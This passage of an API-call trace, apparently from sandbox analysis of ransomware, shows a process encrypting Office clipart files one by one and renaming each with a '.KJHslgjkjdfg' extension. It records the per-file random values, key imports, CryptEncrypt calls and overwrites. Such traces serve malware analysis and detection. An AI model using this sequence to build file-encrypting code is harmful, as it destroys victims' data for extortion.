nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0190.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.079] GetProcessHeap () returned 0x990000 [0190.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.079] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.079] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.082] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.082] GetProcessHeap () returned 0x990000 [0190.082] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.082] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.082] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.082] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.082] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.082] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.083] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5664, lpOverlapped=0x0) returned 1 [0190.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5670, dwBufLen=0x5670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5670) returned 1 [0190.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.085] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5670, lpOverlapped=0x0) returned 1 [0190.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.085] SetEndOfFile (hFile=0x130) returned 1 [0190.088] GetProcessHeap () returned 0x990000 [0190.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.088] GetProcessHeap () returned 0x990000 [0190.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.kjhslgjkjdfg")) returned 1 [0190.089] CloseHandle (hObject=0x130) returned 1 [0190.089] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0190.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.091] GetProcessHeap () returned 0x990000 [0190.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.091] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.091] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.094] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.094] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.094] GetProcessHeap () returned 0x990000 [0190.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.094] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.094] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.094] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.094] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.094] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.094] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.095] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.095] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3dec, lpOverlapped=0x0) returned 1 [0190.096] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3df0) returned 1 [0190.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.096] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3df0, lpOverlapped=0x0) returned 1 [0190.096] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.097] SetEndOfFile (hFile=0x130) returned 1 [0190.099] GetProcessHeap () returned 0x990000 [0190.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.099] GetProcessHeap () returned 0x990000 [0190.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.kjhslgjkjdfg")) returned 1 [0190.100] CloseHandle (hObject=0x130) returned 1 [0190.101] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0190.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.101] GetProcessHeap () returned 0x990000 [0190.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.101] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.102] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.102] GetProcessHeap () returned 0x990000 [0190.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.102] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.102] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.102] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.104] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.104] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.105] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.105] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.105] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb10, lpOverlapped=0x0) returned 1 [0190.105] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb10, dwBufLen=0xb10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb10) returned 1 [0190.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.105] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb10, lpOverlapped=0x0) returned 1 [0190.105] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.105] SetEndOfFile (hFile=0x130) returned 1 [0190.108] GetProcessHeap () returned 0x990000 [0190.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.108] GetProcessHeap () returned 0x990000 [0190.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.kjhslgjkjdfg")) returned 1 [0190.109] CloseHandle (hObject=0x130) returned 1 [0190.109] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0190.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.117] GetProcessHeap () returned 0x990000 [0190.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.117] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.121] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.121] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.121] GetProcessHeap () returned 0x990000 [0190.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.121] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.121] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.121] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.121] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.121] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.121] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.122] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.122] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10ca8, lpOverlapped=0x0) returned 1 [0190.123] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10cb0, dwBufLen=0x10cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10cb0) returned 1 [0190.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.124] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10cb0, lpOverlapped=0x0) returned 1 [0190.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.125] SetEndOfFile (hFile=0x130) returned 1 [0190.128] GetProcessHeap () returned 0x990000 [0190.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.128] GetProcessHeap () returned 0x990000 [0190.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.kjhslgjkjdfg")) returned 1 [0190.129] CloseHandle (hObject=0x130) returned 1 [0190.130] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0190.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.130] GetProcessHeap () returned 0x990000 [0190.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.130] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.132] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.133] GetProcessHeap () returned 0x990000 [0190.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, 